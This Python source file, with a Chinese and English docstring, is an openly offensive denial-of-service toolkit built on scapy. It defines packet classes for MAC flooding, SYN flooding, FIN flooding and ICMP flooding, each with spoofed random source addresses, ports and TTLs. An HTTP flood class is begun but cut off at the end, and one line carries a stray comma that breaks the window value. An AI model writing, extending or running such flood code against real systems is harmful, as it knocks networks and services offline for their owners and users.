"""
这是一个用于进行各类洪水攻击的模块，包括著名的SYN洪水攻击。
使用在该模块中定义的包并使用调用它的send函数去发送它。

This is a model used to start all kinds of flood attacl including the famous SYN flooding.
Make packet which defined in this model and use the sendf funcion which defined in the sr model to send it.
"""
from scapy.all import Ether, IP, ARP, TCP, UDP, ICMP
from hackrandom import *
from packet import BasicPacket

class MacFloodPacket(BasicPacket):
    def __init__(self):
        super(MacFloodPacket, self).__init__(
            Ether(
                src = randmac(),
                dst = randmac()
            ),
            layernum=2
        )

    def prepare(self, kwargs:dict):
        self.__packets__[0].src = randmac()
        self.__packets__[0].dst = randmac()
        return self.packet(
            kwargs.get('data', False)
        )

class SynFloodPacket(BasicPacket):
    def __init__(self, dst:str, dport:str, **kwargs):
        super(SynFloodPacket, self).__init__(
            IP(
                src = kwargs.get('src', randip()),
                dst = dst,
                ttl = kwargs.get('ttl', randttl())
            ),
            TCP(
                sport = kwargs.get('sport', randport()),
                dport =  dport,
                window = kwargs.get('window', randwindow(3000))
            ),
            layernum=3
        )

    def prepare(self, kwargs:dict):
        self.__packets__[0].src = kwargs.get('src', randip())
        self.__packets__[0].dst = kwargs.get('dst', self.__packets__[0].dst)
        self.__packets__[0].ttl = kwargs.get('ttl', randttl())
        self.__packets__[1].sport = kwargs.get('sport', randport())
        self.__packets__[1].dport = kwargs.get('dport', self.__packets__[1].dport)
        self.__packets__[1].window = kwargs.get('window', randwindow())

        return self.packet(
            kwargs.get('data', False)
        )

class FinFloodPacket(BasicPacket):
    def __init__(self, dst:str, dport:int, **kwargs):
        super(FinFloodPacket, self).__init__(
            IP(
                src = kwargs.get('src',''),
                dst = dst,
                ttl = kwargs.get('ttl', 0)
            ),
            TCP(
                sport = kwargs.get('sport', 0),
                dport = dport,
                window = kwargs.get('window', 0),
                flags = 'F'
            ),
            layernum = 3
        )

    def prepare(self, kwargs:dict):
        self.__packets__[0].src = kwargs.get('src', self.__packets__[0].src or randip())
        self.__packets__[0].dst = kwargs.get('dst', self.__packets__[0].dst)
        self.__packets__[0].ttl = kwargs.get('ttl', self.__packets__[0].ttl or randttl())
        self.__packets__[1].sport = kwargs.get('sport', self.__packets__[1].sport or randport())
        self.__packets__[1].dport = kwargs.get('dport', self.__packets__[1].dport)
        self.__packets__[1].window = kwargs.get('window', self.__packets__[1].window or randwindow(3000)),

        return self.packet(
            kwargs.get('data', False)
        )

class IcmpFloodPacket(BasicPacket):
    def __init__(self, dst:str, **kwargs):
        super(IcmpFloodPacket, self).__init__(
            IP(
                src = kwargs.get('src', randip()),
                dst = dst,
                ttl = kwargs.get('ttl', randttl())
            ),
            ICMP(),
            layernum = 3
        )

    def prepare(self, kwargs:dict):
        self.__packets__[0].src = kwargs.get('src', randip())
        self.__packets__[0].dst = kwargs.get('dst',self.__packets__[0].dst)
        self.__packets__[0].ttl = kwargs.get('ttl', randttl())

        return self.packet(
            kwargs.get('data', False)
        )

class HttpFloodPacket(BasicPacket):
    def __init__(self, dst:str, dport:int=80, **kwargs):
        super(HttpFloodPacket, self).__init__(
            layernum = 3
        )